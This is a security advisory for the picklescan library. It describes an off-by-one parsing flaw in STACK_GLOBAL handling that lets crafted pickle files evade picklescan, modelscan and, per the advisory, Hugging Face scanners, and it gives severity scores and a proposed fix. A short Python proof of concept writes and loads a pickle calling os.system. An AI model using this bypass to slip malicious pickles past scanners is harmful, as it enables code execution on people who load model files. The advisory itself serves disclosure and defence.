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Advisory details: pypa / picklescan/PYSEC-2026-1788
Advisory ID pypa/picklescan/PYSEC-2026-1788
Aliases CVE-2025-71325
GHSA-9gvj-pp9x-gcfr
PYSEC-2026-1788
Summary Picklescan has pickle parsing logic flaw that leads to malicious pickle file bypass ### Details There's a parsing logic error in picklescan and modelscan while trying to deal with opcode `STACK_GLOBAL`. Function `_list_globals` when handling `STACK_GLOBAL` at position `n`, it is expected to track two arguments but in wrong range. The loop only consider the range from `1` to `n-1` but forgets to consider the opcode at position `0`. The correct range should be `0` to `n-1`. Attacker can put arg in position `0`, thus the parser can only tract one argument. Then, the exception https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L281 will be triggered. Thus it can cause detection bypass since the malicious pickle file will trigger unexpected exceptions. Example: ``` 0: S STRING 'os' --> arg 0: STRING (untracked argument due to wrong scanning range) 6: S STRING 'system' --> arg 1: STRING (tracked argument) 16: \x93 STACK_GLOBAL 17: S STRING 'ls' 23: \x85 TUPLE1 24: R REDUCE 25: . STOP ``` ### PoC ``` python import pickle payload = b"S'os'\nS'system'\n\x93S'ls'\n\x85R." with open('bad_pickle.pkl', 'wb') as f: f.write(payload) pickle.load(open('bad_pickle.pkl', 'rb')) ``` ### Impact Detection bypass in both picklescan and modelscan. Note that it also affects the online hugging face pickle scanners, making the malicious pickle file bypass the detection. ### Fix To fix the range here, change `range(1, n)` to `range(1, n+1)` to ensure that `n-offset` stays within the range of `0` to `n`. https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L255
Status Published
Exploitability 0.5
Weighted Severity 8.0
Risk 4.0
Affected and Fixed Packages Package Details
Introduced and Fixed Package Commit Patches Package Commit Patches Details
Weaknesses (0)
There are no known CWE.
No exploits are available.

No EPSS data available for this advisory.

Patch URL
There are no known patches.
Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P Found at https://github.com/pypa/advisory-database/blob/main/vulns/picklescan/PYSEC-2026-1788.yaml
Attack Vector (AV) Attack Complexity (AC) Attack Requirements (AT) Privileges Required (PR) User Interaction (UI) Vulnerable System Impact Confidentiality (VC) Vulnerable System Impact Integrity (VI) Vulnerable System Impact Availability (VA) Subsequent System Impact Confidentiality (SC) Subsequent System Impact Integrity (SI) Subsequent System Impact Availability (SA)

network

adjacent

local

physical

low

high

none

present

none

low

high

none

passive

active

high

low

none

high

low

none

high

low

none

high

low

none

high

low

none

high

low

none

Vector: SSVCv2/E:P/A:Y/T:T/P:M/B:A/M:M/D:R/2026-06-17T17:27:40Z/

Decision: Track*

Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2025/71xxx/CVE-2025-71325.json

Source Advisory: vulnrichment/CVE-2025-71325

View SSVC decision tree
[{'Exploitation': 'poc'},
 {'Automatable': 'yes'},
 {'Technical Impact': 'total'},
 {'Mission Prevalence': 'minimal'},
 {'Public Well-being Impact': 'material'},
 {'Mission & Well-being': 'medium'}]